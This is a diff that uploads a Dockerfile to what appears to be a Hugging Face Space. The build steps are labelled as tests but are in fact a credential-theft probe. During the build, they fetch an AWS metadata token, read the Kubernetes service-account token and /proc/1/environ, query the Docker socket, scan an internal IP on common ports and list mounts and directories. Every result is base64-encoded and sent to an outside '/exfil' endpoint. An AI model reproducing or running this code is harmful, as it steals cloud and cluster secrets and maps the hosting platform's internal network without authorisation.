Upload Dockerfile with huggingface_hub

Dockerfile

@@ -0,0 +1,55 @@
+FROM alpine:3.19
+
+RUN apk add --no-cache curl bash 2>/dev/null
+
+# Test 1: IMDS v2 token request
+RUN TOKEN=$(curl -sk --connect-timeout 5 -X PUT "http://169.254.169.254/latest/api/token" \
+      -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) ; \
+    B64=$(printf "%s" "IMDS_V2_TOKEN=${TOKEN:-NONE}" | base64 | tr -d "\n") ; \
+    curl -sk "https://xitro-env-probe.hf.space/exfil?src=imds_v2_tok&d=${B64}" || true
+
+# Test 2: capabilities
+RUN CAPS=$(cat /proc/self/status | grep -i cap) ; \
+    B64=$(printf "%s" "$CAPS" | base64 | tr -d "\n") ; \
+    curl -sk "https://xitro-env-probe.hf.space/exfil?src=caps&d=${B64}" || true
+
+# Test 3: K8s service account token
+RUN if [ -f /var/run/secrets/kubernetes.io/serviceaccount/token ]; then \
+      B64=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 | tr -d "\n") ; \
+      curl -sk "https://xitro-env-probe.hf.space/exfil?src=sa_token&d=${B64}" || true ; \
+    else \
+      curl -sk "https://xitro-env-probe.hf.space/exfil?src=sa_token&d=NONE" || true ; \
+    fi
+
+# Test 4: /proc/1/environ
+RUN B64=$(cat /proc/1/environ 2>/dev/null | tr "\0" "\n" | base64 | tr -d "\n") ; \
+    curl -sk "https://xitro-env-probe.hf.space/exfil?src=proc1env&d=${B64}" || true
+
+# Test 5: Docker socket
+RUN if [ -S /var/run/docker.sock ]; then \
+      B64=$(curl -sk --unix-socket /var/run/docker.sock http://localhost/info 2>/dev/null | head -c 500 | base64 | tr -d "\n") ; \
+      curl -sk "https://xitro-env-probe.hf.space/exfil?src=docker_sock&d=${B64}" || true ; \
+    else \
+      curl -sk "https://xitro-env-probe.hf.space/exfil?src=docker_sock&d=NONE" || true ; \
+    fi
+
+# Test 6: Hit internal API 10.0.249.17 on known ports
+RUN for PORT in 80 443 8080 8443 8000 3000 5000; do \
+      RESULT=$(curl -sk --connect-timeout 2 "http://10.0.249.17:${PORT}/" 2>/dev/null | head -c 300) ; \
+      if [ -n "$RESULT" ]; then \
+        B64=$(printf "PORT:%s RESULT:%s" "$PORT" "$RESULT" | base64 | tr -d "\n") ; \
+        curl -sk "https://xitro-env-probe.hf.space/exfil?src=internal_api_17&d=${B64}" || true ; \
+      fi ; \
+    done
+
+# Test 7: Mount points and filesystem
+RUN MOUNTS=$(cat /proc/mounts | grep -v "proc\|sys\|dev") ; \
+    B64=$(printf "%s" "$MOUNTS" | base64 | tr -d "\n") ; \
+    curl -sk "https://xitro-env-probe.hf.space/exfil?src=mounts&d=${B64}" || true
+
+# Test 8: Check for any BuildKit cache or other users data at /cache or overlay mounts
+RUN B64=$(ls -la / /cache 2>&1 | base64 | tr -d "\n") ; \
+    curl -sk "https://xitro-env-probe.hf.space/exfil?src=ls_root&d=${B64}" || true
+
+EXPOSE 7860
+CMD ["sh", "-c", "while true; do sleep 60; done"]